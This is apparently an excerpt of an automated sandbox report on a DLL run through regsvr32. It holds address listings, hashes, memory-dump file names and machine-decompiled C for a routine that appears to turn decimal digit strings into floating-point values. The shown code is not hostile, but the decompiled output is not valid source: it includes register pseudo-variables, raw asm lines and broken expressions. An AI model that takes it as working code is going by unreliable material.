0x1004b4b6
0x00000000
0x1004b4bd
0x1004b477
0x1004b47a
0x1004b497
0x1004b49d
0x00000000
0x1004b4a4
0x1004b47c
0x1004b47f
0x1004b8ac
0x1004b8b0
0x00000000
0x1004b8b0
0x1004b485
0x00000000
0x1004b48b
0x1004b463
0x1004b43f
0x1004b43f
0x1004b445
0x1004b410
0x00000000
0x00000000
0x1004b86d
0x1004b86d
0x1004b86f
0x1004b86f
0x1004b871
0x1004b875
0x1004be56
0x1004be59
0x1004be5b
0x1004be60
0x1004be60
0x1004be63
0x1004be63
0x1004be66
0x1004be66
0x1004be6b
0x1004be6b
0x1004be70
0x1004be77
0x1004be7b
0x1004be7f
0x1004becb
0x1004beda
0x1004beda
0x1004b87b
0x1004b87f
0x1004b95f
0x1004b962
0x1004be4f
0x1004be52
0x00000000
0x1004be52
0x1004b968
0x1004b968
0x1004b96c
0x1004b970
0x1004b991
0x1004b991
0x1004b996
0x1004b9a1
0x1004b9a6
0x1004b9a9
0x1004b9b5
0x1004b9ab
0x1004b9ab
0x1004b9b0
0x1004b9b0
0x1004b9ba
0x1004b9bd
0x1004b9c0
0x1004b9c2
0x1004b9c2
0x1004b9c2
0x1004b9ca
0x1004b9cd
0x1004b9cf
0x1004b9cf
0x1004b9cf
0x1004b9d7
0x1004b9de
0x1004be39
0x1004be3b
0x1004be3f
0x1004be45
0x1004be4a
0x00000000
0x1004b9e4
0x1004b9e4
0x1004b9eb
0x1004be2d
0x1004be30
0x1004be32
0x00000000
0x1004be32
0x1004b9f8
0x1004b9fc
0x1004b9ff
0x1004be16
0x1004be1a
0x1004be1f
0x1004be23
0x1004be28
0x00000000
0x1004be28
0x1004ba05
0x1004ba08
0x1004ba11
0x1004ba14
0x1004ba14
0x1004ba14
0x1004ba1d
0x1004ba27
0x1004ba2b
0x1004ba2e
0x1004ba33
0x1004be14
0x1004be14
0x1004ba39
0x1004ba39
0x1004ba40
0x1004ba43
0x1004ba47
0x1004ba4b
0x1004ba4e
0x1004ba53
0x1004ba58
0x00000000
0x00000000
0x1004ba60
0x1004ba64
0x1004ba6a
0x1004ba6e
0x1004ba73
0x1004ba73
0x1004ba78
0x1004ba7b
0x1004ba7f
0x1004ba7f
0x1004ba84
0x1004ba8c
0x1004ba90
0x1004ba90
0x1004ba93
0x1004ba93
0x1004ba97
0x1004ba9c
0x1004baa1
0x1004baa7
0x1004baac
0x1004bab3
0x1004bab7
0x1004babb
0x1004bac0
0x1004bac4
0x1004bac8
0x1004bacd
0x1004bad0
0x1004bdea
0x1004bdea
0x1004bded
0x1004bdf7
0x1004bdfb
0x1004bdff
0x1004be03
0x1004bad6
0x1004bad6
0x1004badb
0x00000000
0x00000000
0x1004bae1
0x1004bae6
0x00000000
0x00000000
0x1004baec
0x1004baf1
0x1004bb09
0x1004bb0c
0x1004bb39
0x1004bb39
0x1004bb3c
0x1004bb6f
0x1004bb6f
0x1004bb72
0x1004bb77
0x1004bb80
0x1004bb80
0x1004bb88
0x1004bb8b
0x1004bb8e
0x00000000
0x00000000
0x1004bb93
0x1004bb93
0x1004bb97
0x1004bb97
0x1004bb9c
0x1004bb9c
0x1004bba0
0x1004bba8
0x1004bbab
0x1004bbad
0x1004bbd2
0x1004bbd5
0x1004bbd9
0x1004bbdc
0x1004bbe3
0x1004bbe3
0x1004bbe9
0x1004bbe9
0x00000000
0x1004bbe9
0x1004bbde
0x1004bbe1
0x00000000
0x00000000
0x00000000
0x1004bbe1
0x1004bbb2
0x1004bbb5
0x1004bbb9
0x1004bbbc
0x1004bbc3
0x1004bbc3
0x1004bbc9
0x1004bbc9
0x00000000
0x1004bbc9
0x1004bbbe
0x1004bbc1
0x00000000
0x00000000
0x00000000
0x1004bbed
0x1004bbed
0x1004bbf0
0x1004bbf2
0x1004bbf2
0x1004bbf2
0x1004bbf6
0x1004bbf9
0x1004bbfd
0x1004bc01
0x1004bc01
0x1004bc05
0x1004bc05
0x1004bc09
0x1004bc0d
0x1004bc11
0x1004bc11
0x1004bc1a
0x1004bc1f
0x1004bc22
0x1004bcdd
0x1004bce2
0x1004bce6
0x1004bceb
0x1004bceb
0x1004bceb
0x1004bcf0
0x1004bc74
0x1004bc74
0x1004bc79
0x1004bc79
0x1004bc7d
0x1004bc93
0x1004bc93
0x1004bc97
0x1004bc9a
0x1004bd7d
0x1004bd7d
0x1004bd80
0x1004bd84
0x1004bca0
0x1004bca0
0x1004bca4
0x1004bca8
0x1004bcab
0x1004bd6e
0x1004bd72
0x1004bd77
0x1004bcb1
0x1004bcb1
0x1004bcb6
0x1004bcba
0x1004bcbe
0x1004bd57
0x1004bd5f
0x1004bd64
0x1004bcc4
0x1004bcc4
0x1004bcc8
0x1004bccf
0x1004bcd4
0x1004bcd4
0x1004bcbe
0x1004bcab
0x1004bd88
0x1004bd88
0x1004bd8d
0x1004bdc5
0x1004bdc9
0x1004bdce
0x1004bdd3
0x1004bdd8
0x1004bddd
0x1004bde2
0x1004bd8f
0x1004bd8f
0x1004bd94
0x1004bd99
0x1004bda3
0x1004bda9
0x1004bdad
0x1004bdb1
0x1004bdb5
0x1004bdb5
0x00000000
0x1004bd8d
0x1004bc7f
0x1004bc86
0x1004bc8d
0x00000000
0x00000000
0x00000000
0x1004bc8d
0x1004bcf8
0x1004bcfc
0x1004bcfc
0x1004bd00
0x1004bd00
0x1004bd05
0x1004bd07
0x1004bd07
0x1004bd07
0x1004bd10
0x1004bd1b
0x1004bd1e
0x1004bd21
0x1004bd23
0x1004bd23
0x1004bd27
0x1004bd27
0x1004bd2e
0x1004bd31
0x1004bd35
0x1004bd3a
0x00000000
0x00000000
0x1004bd44
0x1004bd48
0x1004bd4d
0x00000000
0x1004bd4d
0x1004bc28
0x1004bc2d
0x1004bc31
0x1004bc36
0x1004bc36
0x1004bc3b
0x00000000
0x00000000
0x1004bc42
0x1004bc4a
0x1004bc4d
0x1004bc50
0x1004bc52
0x1004bc55
0x1004bc5a
0x1004bc5e
0x1004bc63
0x1004bc66
0x1004bc6b
0x00000000
0x00000000
0x00000000
0x1004bc6d
0x1004bc6f
0x1004bc72
0x00000000
0x00000000
0x00000000
0x1004bc72
0x1004bb42
0x1004bb46
0x1004bb4a
0x1004bb4c
0x00000000
0x00000000
0x1004bb4e
0x1004bb52
0x00000000
0x00000000
0x1004bb54
0x1004bb57
0x00000000
0x00000000
0x1004bb59
0x1004bb5e
0x1004bb62
0x1004bb66
0x00000000
0x1004bb66
0x1004bb12
0x1004bb16
0x1004bb1a
0x1004bb1c
0x00000000
0x00000000
0x1004bb1e
0x1004bb22
0x00000000
0x00000000
0x1004bb24
0x1004bb28
0x00000000
0x00000000
0x1004bb2a
0x1004bb2f
0x00000000
0x1004bb2f
0x1004baf3
0x1004baf8
0x1004bafc
0x1004bb00
0x1004bb00
0x1004be07
0x1004be07
0x1004be07
0x1004be10
0x1004be10
0x00000000
0x1004ba33
0x1004b9de
0x1004b980
0x1004b980
0x1004b984
0x1004b988
0x1004b98b
0x1004b98b
0x00000000
0x1004b980
0x1004b885
0x1004b88d
0x1004b88f
0x1004b891
0x1004b891
0x1004b893
0x1004b893
0x1004b89a
0x1004b89e
0x1004b8a4
0x00000000
0x1004b8a4
0x1004b410
0x1004b414
0x1004b41c
0x1004b42c
0x1004b436
0x1004b436
0x1004b863

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6fb0475d27672682aa0a352a000c76b10f3fbb32a418cbe37cfc761a74df1ed
Instruction ID: f4a7c4e8bf9125267703f257ba4889086b92acf0f3e32906e9d05dbb9d4b710f
Opcode Fuzzy Hash: d6fb0475d27672682aa0a352a000c76b10f3fbb32a418cbe37cfc761a74df1ed
Instruction Fuzzy Hash: 5371F573628BD5C5DB61CF2AE04079AB7A1F7D0784FA04026EB8983B59DB7DD841CB08

Uniqueness

Uniqueness Score: -1.00%

Function 1004B66E Relevance: .2, Instructions: 181
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E1004B66E(void* __ebx, intOrPtr __edx, unsigned long long __rax, void* __rbx, void* __rcx, void* __rdi, void* __rsi, void* __rbp, intOrPtr* __r8, void* __r9, void* __r10, char* __r11, long long* __r13, signed int _a48, signed int _a52, signed int _a56, long long _a64, signed int* _a72, unsigned int _a80, signed short _a82, signed int _a84, signed int _a86, signed int _a88, signed int _a90, signed int _a96, signed int _a98, signed int _a100, signed int _a102, unsigned int _a104, signed int _a106, unsigned int _a112, intOrPtr _a114, char _a128, signed int _a151, signed int _a160, void* _a184, void* _a192, void* _a200, void* _a208, void* _a216, void* _a224, void* _a232, void* _a240, intOrPtr _a288, intOrPtr _a296) {
				unsigned int _t137;
				signed short _t148;
				signed short _t149;
				signed short _t153;
				signed short _t154;
				signed int _t155;
				signed int _t159;
				signed int _t161;
				signed int _t175;
				signed int _t177;
				void* _t181;
				signed int _t182;
				signed int _t183;
				signed short _t184;
				signed short _t185;
				signed int _t187;
				signed int _t191;
				intOrPtr _t193;
				signed int _t194;
				signed short _t198;
				signed int _t199;
				signed int _t203;
				void* _t204;
				signed int _t205;
				signed int _t208;
				unsigned long long _t248;
				void* _t251;
				signed long long _t257;
				void* _t258;
				long long _t262;
				signed int* _t263;
				void* _t265;
				void* _t267;
				void* _t269;
				signed long long _t271;
				intOrPtr* _t273;
				void* _t275;
				signed int* _t276;
				void* _t277;
				signed int _t278;
				char* _t279;
				char* _t280;
				signed short* _t281;
				long long* _t283;
				signed int* _t286;

				_t283 = __r13;
				_t279 = __r11;
				_t277 = __r10;
				_t275 = __r9;
				_t273 = __r8;
				_t269 = __rbp;
				_t267 = __rsi;
				_t265 = __rdi;
				_t251 = __rbx;
				_t248 = __rax;
				_t193 = __edx;
				_t181 = __ebx;
				r15d = 1;
				if(r10d != 0 || __edx != 0x30) {
					L3:
					if(_t193 < 0x30) {
						L8:
						if(_t193 + 0xffffffd5 > 0x3a) {
							_t273 = _t273 - _t269;
							_t203 = 0;
							 *_t283 = _t273;
							if(1 == 0) {
								r8d = 0;
								_t194 = 0;
								_t203 = 4;
								goto L104;
							} else {
								if(r10d <= 0x18) {
									goto L16;
								}
								_t177 = _a151 & 0x000000ff;
								if(_t177 >= 5) {
									_a151 = _t177 + 1;
								}
								_t279 = _t279 - 1;
								r10d = 0x18;
								_t181 = _t181 + 1;
								L17:
								_t280 = _t279 - 1;
								if( *_t280 != 0) {
									L20:
									_t9 =  &_a96; // 0x61
									_t10 =  &_a128; // 0x81
									E1004EED0(r10d, _t251, _t10, 0x10000000, _t265, _t267, _t9, _t275, _t277, _t280);
									if(r14d >= 0) {
										r8d = _a48;
									} else {
										r8d = _a48;
										r8d =  ~r8d;
									}
									r8d = r8d + _t181;
									if(r12d == 0) {
										r8d = r8d + _a288;
									}
									if(r15d == 0) {
										r8d = r8d - _a296;
									}
									if(r8d > 0x1450) {
										_t194 = _t203;
										_t137 = 0x7fff;
										r8d = 0x80000000;
										_t203 = 2;
										_t183 = 0;
										goto L105;
									} else {
										if(r8d < 0xffffebb0) {
											r8d = _t203;
											_t194 = _t203;
											_t203 = 1;
											L104:
											_t183 = 0;
											_t137 = 0;
											__eflags = 0;
											L105:
											_t276 = _a72;
											_t276[2] = _t137 | _a52;
											 *_t276 = _t183;
											_t276[0] = _t194;
											_t276[1] = r8d;
											return E1002FF40(_t183, _a160 ^ _t271);
										}
										_t262 = 0x100b3270;
										if(r8d == 0) {
											L99:
											_t183 = _a96 & 0x0000ffff;
											_t194 = _a98;
											r8d = _a102;
											_t137 = _a104 >> 0x10;
											goto L105;
										}
										if(r8d < 0) {
											r8d =  ~r8d;
											_t262 = 0x100b33d0;
										}
										_t144 =  ==  ? 0 : _a96 & 0x0000ffff;
										_a96 =  ==  ? 0 : _a96 & 0x0000ffff;
										if(r8d == 0) {
											_t203 = 0;
											__eflags = 0;
										} else {
											r9d = 0xffff8000;
											do {
												_t262 = _t262 + 0x54;
												r8d = r8d >> 3;
												_a48 = r8d;
												_a64 = _t262;
												if((r8d & 0x00000007) == 0) {
													goto L96;
												}
												_t257 = _t248 + _t248 * 2;
												_t286 = _t262 + _t257 * 4;
												if( *((short*)(_t262 + _t257 * 4)) >= 0x8000) {
													_t26 =  &_a112; // 0x71
													_t257 = _t26;
													 *_t257 =  *_t286;
													_t175 = _t286[2];
													_t28 =  &_a112; // 0x71
													_t286 = _t28;
													 *(_t257 + 8) = _t175;
													_t248 = _a112 >> 0x10;
													_a114 = _t175 - 1;
												}
												_t184 = _t286[2] & 0x0000ffff;
												_t148 = _a106 & 0x0000ffff;
												r15d = 0;
												_t185 = _t184 & 0x00007fff;
												_a80 = 0;
												_t149 = _t148 & 0x00007fff;
												_a84 = 0;
												_t198 = (_t184 & 0x0000ffff ^ _t148) & 0x00008000;
												_a88 = 0;
												_a56 = _t198;
												_t204 = _t248 + _t257;
												if(_t149 >= 0x7fff || _t185 >= 0x7fff || _t204 > 0xbffd) {
													__eflags = _t198;
													_t262 = _a64;
													_t151 =  !=  ? r9d : 0x7fff8000;
													__eflags = 0x7fff8000;
													_a100 = 0;
													_a96 = 0;
													_a104 =  !=  ? r9d : 0x7fff8000;
												} else {
													if(_t204 > 0x3fbf) {
														__eflags = _t149;
														if(_t149 != 0) {
															L47:
															__eflags = _t185;
															if(_t185 != 0) {
																L52:
																r13d = 0;
																_t263 =  &_a84;
																r12d = 5;
																do {
																	__eflags = r12d;
																	_t182 = r12d;
																	_t258 = _t283 + _t283;
																	if(r12d <= 0) {
																		goto L67;
																	}
																	_t56 =  &(_t286[2]); // 0x9
																	_t278 = _t56;
																	_t58 = _t258 + 0x60; // 0x65
																	_t281 = _t271 + _t58;
																	_t208 = r13d & 0x00000001;
																	__eflags = _t208;
																	do {
																		_t187 = ( *_t281 & 0x0000ffff) * ( *_t278 & 0x0000ffff);
																		__eflags = _t208;
																		if(_t208 == 0) {
																			r8d = 0;
																			r9d = _t248 + _t258;
																			__eflags = r9d -  *(_t263 - 4);
																			if(r9d <  *(_t263 - 4)) {
																				L62:
																				r8d = 1;
																				L63:
																				 *(_t263 - 4) = r9d;
																				goto L64;
																			}
																			__eflags = r9d - _t187;
																			if(r9d >= _t187) {
																				goto L63;
																			}
																			goto L62;
																		}
																		r8d = 0;
																		r9d = _t248 + _t258;
																		__eflags = r9d -  *(_t263 - 4);
																		if(r9d <  *(_t263 - 4)) {
																			L58:
																			r8d = 1;
																			L59:
																			 *(_t263 - 4) = r9d;
																			goto L64;
																		}
																		__eflags = r9d - _t187;
																		if(r9d >= _t187) {
																			goto L59;
																		}
																		goto L58;
																		L64:
																		__eflags = r8d;
																		if(r8d != 0) {
																			 *_t263 =  *_t263 + 1;
																			__eflags =  *_t263;
																		}
																		_t182 = _t182 - 1;
																		_t281 =  &(_t281[1]);
																		_t278 = _t278 - 2;
																		__eflags = _t182;
																	} while (_t182 > 0);
																	L67:
																	r12d = r12d - 1;
																	_t263 =  &(_t263[0]);
																	r13d = r13d + 1;
																	__eflags = r12d;
																} while (r12d > 0);
																_t205 = _t204 + 0xc002;
																__eflags = _t205;
																if(__eflags <= 0) {
																	r8d = _a88;
																	_t199 = _a84;
																	r9d = _a80;
																	L82:
																	_t205 = _t205 + 0xffff;
																	__eflags = _t205;
																	if(_t205 >= 0) {
																		L74:
																		_t153 = _a80 & 0x0000ffff;
																		L75:
																		__eflags = _t153 - 0x8000;
																		if(_t153 > 0x8000) {
																			L77:
																			_t154 = _a82;
																			__eflags = _t154 - 0xffffffff;
																			if(_t154 != 0xffffffff) {
																				_t155 = _t154 + 1;
																				__eflags = _t155;
																				_a82 = _t155;
																				_t199 = _a84;
																			} else {
																				_t159 = _a86;
																				_a82 = 0;
																				__eflags = _t159 - 0xffffffff;
																				if(_t159 != 0xffffffff) {
																					_a86 = _t159 + 1;
																					r8d = _a88;
																					_t199 = _a84;
																				} else {
																					_t161 = _a90 & 0x0000ffff;
																					_a86 = 0;
																					__eflags = _t161 - 0xffff;
																					if(_t161 != 0xffff) {
																						_t199 = _a84;
																						_a90 = _t161 + 1;
																						r8d = _a88;
																					} else {
																						_t199 = _a84;
																						_a90 = 0x8000;
																						r8d = _a88;
																						_t205 = _t205 + 1;
																					}
																				}
																			}
																			L92:
																			__eflags = _t205 - 0x7fff;
																			if(_t205 < 0x7fff) {
																				_a98 = _t199;
																				_t262 = _a64;
																				_a102 = r8d;
																				r8d = _a48;
																				_a96 = _a82 & 0x0000ffff;
																				_a106 = _t205 | _a56;
																				r9d = 0xffff8000;
																			} else {
																				__eflags = _a56;
																				_t262 = _a64;
																				r8d = _a48;
																				r9d = 0xffff8000;
																				_a100 = 0;
																				_t158 =  !=  ? r9d : 0x7fff8000;
																				_a96 = 0;
																				_a104 =  !=  ? r9d : 0x7fff8000;
																			}
																			goto L96;
																		}
																		r9d = r9d & 0x0001ffff;
																		__eflags = r9d - 0x18000;
																		if(r9d != 0x18000) {
																			goto L92;
																		}
																		goto L77;
																	}
																	r10d =  ~(_t205 & 0x0000ffff) & 0x0000ffff;
																	_t205 = _t205 + r10w;
																	__eflags = _t205;
																	do {
																		__eflags = _a80 & 0x00000001;
																		if((_a80 & 0x00000001) != 0) {
																			r15d = r15d + 1;
																			__eflags = r15d;
																		}
																		r9d = r9d >> 1;
																		r9d = r9d | _t199 << 0x0000001f;
																		r8d = r8d >> 1;
																		_t199 = _t199 >> 0x00000001 | r8d << 0x0000001f;
																		_t278 = _t278 - 1;
																		__eflags = _t278;
																		_a80 = r9d;
																	} while (_t278 != 0);
																	__eflags = r15d;
																	_a84 = _t199;
																	_a88 = r8d;
																	if(r15d == 0) {
																		goto L74;
																	}
																	_t153 = r9w | 0x00000001;
																	_a80 = _t153;
																	r9d = _a80;
																	goto L75;
																}
																r8d = _a88;
																_t199 = _a84;
																r9d = _a80;
																while(1) {
																	asm("inc ecx");
																	if(__eflags < 0) {
																		break;
																	}
																	r8d = r8d + r8d;
																	_t191 = _t199 >> 0x1f;
																	r9d = r9d + r9d;
																	_t199 = _t199 + _t199 | r9d >> 0x0000001f;
																	r8d = r8d | _t191;
																	_t205 = _t205 + 0xffff;
																	_a84 = _t199;
																	_a88 = r8d;
																	__eflags = _t205;
																	_a80 = r9d;
																	if(__eflags > 0) {
																		continue;
																	}
																	goto L82;
																}
																__eflags = _t205;
																if(_t205 <= 0) {
																	goto L82;
																}
																goto L74;
															}
															_t204 = _t204 + 1;
															asm("btr eax, 0x1f");
															__eflags = _t286[2];
															if(_t286[2] != 0) {
																goto L52;
															}
															__eflags = _t286[1];
															if(_t286[1] != 0) {
																goto L52;
															}
															__eflags =  *_t286;
															if( *_t286 != 0) {
																goto L52;
															}
															_t262 = _a64;
															_a104 = 0;
															_a100 = 0;
															_a96 = 0;
															goto L96;
														}
														_t204 = _t204 + 1;
														asm("btr eax, 0x1f");
														__eflags = _a104;
														if(_a104 != 0) {
															goto L47;
														}
														__eflags = _a100;
														if(_a100 != 0) {
															goto L47;
														}
														__eflags = _a96;
														if(_a96 != 0) {
															goto L47;
														}
														_t262 = _a64;
														_a106 = 0;
														goto L96;
													}
													_t262 = _a64;
													_a104 = 0;
													_a100 = 0;
													_a96 = 0;
												}
												L96:
											} while (r8d != 0);
											_t203 = 0;
										}
										goto L99;
									}
								}
								do {
									_t280 = _t280 - 1;
									r10d = r10d + 0xffffffff;
									_t181 = _t181 + 1;
								} while ( *_t280 == 0);
								goto L20;
							}
							L16:
							__eflags = r10d;
							if(r10d == 0) {
								r8d = 0;
								_t194 = 0;
								goto L104;
							}
							goto L17;
						}
						goto __rcx;
					}
					while(_t193 <= 0x39) {
						if(r10d < 0x19) {
							r10d = r10d + 1;
							 *_t279 = _t193 - 0x30;
							_t279 = _t279 + _t269;
							_t181 = _t181 - 1;
						}
						_t193 =  *_t273;
						_t273 = _t273 + _t269;
						if(_t193 >= 0x30) {
							continue;
						}
						goto L8;
					}
					goto L8;
				} else {
					do {
						_t193 =  *_t273;
						_t181 = _t181 - 1;
						_t273 = _t273 + __rbp;
					} while (_t193 == 0x30);
					goto L3;
				}
			}

0x1004b66e
0x1004b66e
0x1004b66e
0x1004b66e
0x1004b66e
0x1004b66e
0x1004b66e
0x1004b66e
0x1004b66e
0x1004b66e
0x1004b66e
0x1004b66e
0x1004b676
0x1004b679
0x1004b68d
0x1004b690
0x1004b6b6
0x1004b6bf
0x1004b8c9
0x1004b8cc
0x1004b871
0x1004b875
0x1004be56
0x1004be59
0x1004be5b
0x00000000
0x1004b87b
0x1004b87f
0x00000000
0x00000000
0x1004b885
0x1004b88f
0x1004b893
0x1004b893
0x1004b89a
0x1004b89e
0x1004b8a4
0x1004b968
0x1004b968
0x1004b970
0x1004b991
0x1004b991
0x1004b996
0x1004b9a1
0x1004b9a9
0x1004b9b5
0x1004b9ab
0x1004b9ab
0x1004b9b0
0x1004b9b0
0x1004b9ba
0x1004b9c0
0x1004b9c2
0x1004b9c2
0x1004b9cd
0x1004b9cf
0x1004b9cf
0x1004b9de
0x1004be39
0x1004be3b
0x1004be3f
0x1004be45
0x1004be4a
0x00000000
0x1004b9e4
0x1004b9eb
0x1004be2d
0x1004be30
0x1004be32
0x1004be60
0x1004be60
0x1004be63
0x1004be63
0x1004be66
0x1004be66
0x1004be70
0x1004be77
0x1004be7b
0x1004be7f
0x1004beda
0x1004beda
0x1004b9f8
0x1004b9ff
0x1004be16
0x1004be1a
0x1004be1f
0x1004be23
0x1004be28
0x00000000
0x1004be28
0x1004ba08
0x1004ba11
0x1004ba14
0x1004ba14
0x1004ba27
0x1004ba2e
0x1004ba33
0x1004be14
0x1004be14
0x1004ba39
0x1004ba39
0x1004ba40
0x1004ba43
0x1004ba47
0x1004ba4e
0x1004ba53
0x1004ba58
0x00000000
0x00000000
0x1004ba60
0x1004ba6a
0x1004ba6e
0x1004ba73
0x1004ba73
0x1004ba78
0x1004ba7b
0x1004ba7f
0x1004ba7f
0x1004ba84
0x1004ba8c
0x1004ba93
0x1004ba93
0x1004ba97
0x1004ba9c
0x1004baa1
0x1004baa7
0x1004baac
0x1004bab3
0x1004bab7
0x1004babb
0x1004bac4
0x1004bac8
0x1004bacd
0x1004bad0
0x1004bdea
0x1004bded
0x1004bdf7
0x1004bdf7
0x1004bdfb
0x1004bdff
0x1004be03
0x1004baec
0x1004baf1
0x1004bb09
0x1004bb0c
0x1004bb39
0x1004bb39
0x1004bb3c
0x1004bb6f
0x1004bb6f
0x1004bb72
0x1004bb77
0x1004bb80
0x1004bb80
0x1004bb88
0x1004bb8b
0x1004bb8e
0x00000000
0x00000000
0x1004bb93
0x1004bb93
0x1004bb97
0x1004bb97
0x1004bb9c
0x1004bb9c
0x1004bba0
0x1004bba8
0x1004bbab
0x1004bbad
0x1004bbd2
0x1004bbd5
0x1004bbd9
0x1004bbdc
0x1004bbe3
0x1004bbe3
0x1004bbe9
0x1004bbe9
0x00000000
0x1004bbe9
0x1004bbde
0x1004bbe1
0x00000000
0x00000000
0x00000000
0x1004bbe1
0x1004bbb2
0x1004bbb5
0x1004bbb9
0x1004bbbc
0x1004bbc3
0x1004bbc3
0x1004bbc9
0x1004bbc9
0x00000000
0x1004bbc9
0x1004bbbe
0x1004bbc1
0x00000000
0x00000000
0x00000000
0x1004bbed
0x1004bbed
0x1004bbf0
0x1004bbf2
0x1004bbf2
0x1004bbf2
0x1004bbf6
0x1004bbf9
0x1004bbfd
0x1004bc01
0x1004bc01
0x1004bc05
0x1004bc05
0x1004bc09
0x1004bc0d
0x1004bc11
0x1004bc11
0x1004bc1a
0x1004bc1f
0x1004bc22
0x1004bcdd
0x1004bce2
0x1004bce6
0x1004bceb
0x1004bceb
0x1004bceb
0x1004bcf0
0x1004bc74
0x1004bc74
0x1004bc79
0x1004bc79
0x1004bc7d
0x1004bc93
0x1004bc93
0x1004bc97
0x1004bc9a
0x1004bd7d
0x1004bd7d
0x1004bd80
0x1004bd84
0x1004bca0
0x1004bca0
0x1004bca4
0x1004bca8
0x1004bcab
0x1004bd6e
0x1004bd72
0x1004bd77
0x1004bcb1
0x1004bcb1
0x1004bcb6
0x1004bcba
0x1004bcbe
0x1004bd57
0x1004bd5f
0x1004bd64
0x1004bcc4
0x1004bcc4
0x1004bcc8
0x1004bccf
0x1004bcd4
0x1004bcd4
0x1004bcbe
0x1004bcab
0x1004bd88
0x1004bd88
0x1004bd8d
0x1004bdc5
0x1004bdc9
0x1004bdce
0x1004bdd3
0x1004bdd8
0x1004bddd
0x1004bde2
0x1004bd8f
0x1004bd8f
0x1004bd94
0x1004bd99
0x1004bda3
0x1004bda9
0x1004bdad
0x1004bdb1
0x1004bdb5
0x1004bdb5
0x00000000
0x1004bd8d
0x1004bc7f
0x1004bc86
0x1004bc8d
0x00000000
0x00000000
0x00000000
0x1004bc8d
0x1004bcf8
0x1004bcfc
0x1004bcfc
0x1004bd00
0x1004bd00
0x1004bd05
0x1004bd07
0x1004bd07
0x1004bd07
0x1004bd10
0x1004bd1b
0x1004bd1e
0x1004bd21
0x1004bd23
0x1004bd23
0x1004bd27
0x1004bd27
0x1004bd2e
0x1004bd31
0x1004bd35
0x1004bd3a
0x00000000
0x00000000
0x1004bd44
0x1004bd48
0x1004bd4d
0x00000000
0x1004bd4d
0x1004bc28
0x1004bc2d
0x1004bc31
0x1004bc36
0x1004bc36
0x1004bc3b
0x00000000
0x00000000
0x1004bc42
0x1004bc4a
0x1004bc4d
0x1004bc50
0x1004bc52
0x1004bc55
0x1004bc5a
0x1004bc5e
0x1004bc63
0x1004bc66
0x1004bc6b
0x00000000
0x00000000
0x00000000
0x1004bc6d
0x1004bc6f
0x1004bc72
0x00000000
0x00000000
0x00000000
0x1004bc72
0x1004bb42
0x1004bb46
0x1004bb4a
0x1004bb4c
0x00000000
0x00000000
0x1004bb4e
0x1004bb52
0x00000000
0x00000000
0x1004bb54
0x1004bb57
0x00000000
0x00000000
0x1004bb59
0x1004bb5e
0x1004bb62
0x1004bb66
0x00000000
0x1004bb66
0x1004bb12
0x1004bb16
0x1004bb1a
0x1004bb1c
0x00000000
0x00000000
0x1004bb1e
0x1004bb22
0x00000000
0x00000000
0x1004bb24
0x1004bb28
0x00000000
0x00000000
0x1004bb2a
0x1004bb2f
0x00000000
0x1004bb2f
0x1004baf3
0x1004baf8
0x1004bafc
0x1004bb00
0x1004bb00
0x1004be07
0x1004be07
0x1004be10
0x1004be10
0x00000000
0x1004ba33
0x1004b9de
0x1004b980
0x1004b980
0x1004b984
0x1004b988
0x1004b98b
0x00000000
0x1004b980
0x1004b95f
0x1004b95f
0x1004b962
0x1004be4f
0x1004be52
0x00000000
0x1004be52
0x00000000
0x1004b962
0x1004b6e0
0x1004b6e0
0x1004b692
0x1004b69b
0x1004b6a0
0x1004b6a3
0x1004b6a6
0x1004b6a9
0x1004b6a9
0x1004b6ab
0x1004b6ae
0x1004b6b4
0x00000000
0x00000000
0x00000000
0x1004b6b4
0x00000000
0x1004b680
0x1004b680
0x1004b680
0x1004b683
0x1004b685
0x1004b688
0x00000000
0x1004b680

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1380e8c394196d101c9f055700891f17b447606340500044c47770a6ea52b8b
Instruction ID: 6139a48b1560f85b0aa5f5bd1aa1e5479e2e6ba459c5b41da5e082c04dd1d528
Opcode Fuzzy Hash: f1380e8c394196d101c9f055700891f17b447606340500044c47770a6ea52b8b
Instruction Fuzzy Hash: B76118B7628BD5C6C761CF2AD0403A9B7A1F781780FA15026DB8983A59DB7DD845CF04

Uniqueness

Uniqueness Score: -1.00%

Function 1004B4C9 Relevance: .2, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E1004B4C9(void* __ebx, unsigned long long __rdx, long long __r8, void* __r11, long long* __r13) {
				unsigned int _t147;
				signed int _t148;
				signed short _t158;
				signed short _t159;
				signed short _t163;
				signed short _t164;
				signed int _t165;
				signed int _t169;
				signed int _t171;
				signed int _t185;
				signed int _t186;
				signed int _t187;
				signed char _t188;
				void* _t191;
				signed int _t192;
				signed int _t193;
				signed short _t194;
				signed short _t195;
				signed int _t197;
				signed int _t201;
				void* _t204;
				signed int _t205;
				signed short _t209;
				signed int _t210;
				signed int _t214;
				void* _t215;
				signed int _t216;
				signed int _t219;
				void* _t229;
				signed long long _t236;
				void* _t237;
				long long _t241;
				signed int* _t242;
				void* _t244;
				intOrPtr* _t246;
				void* _t248;
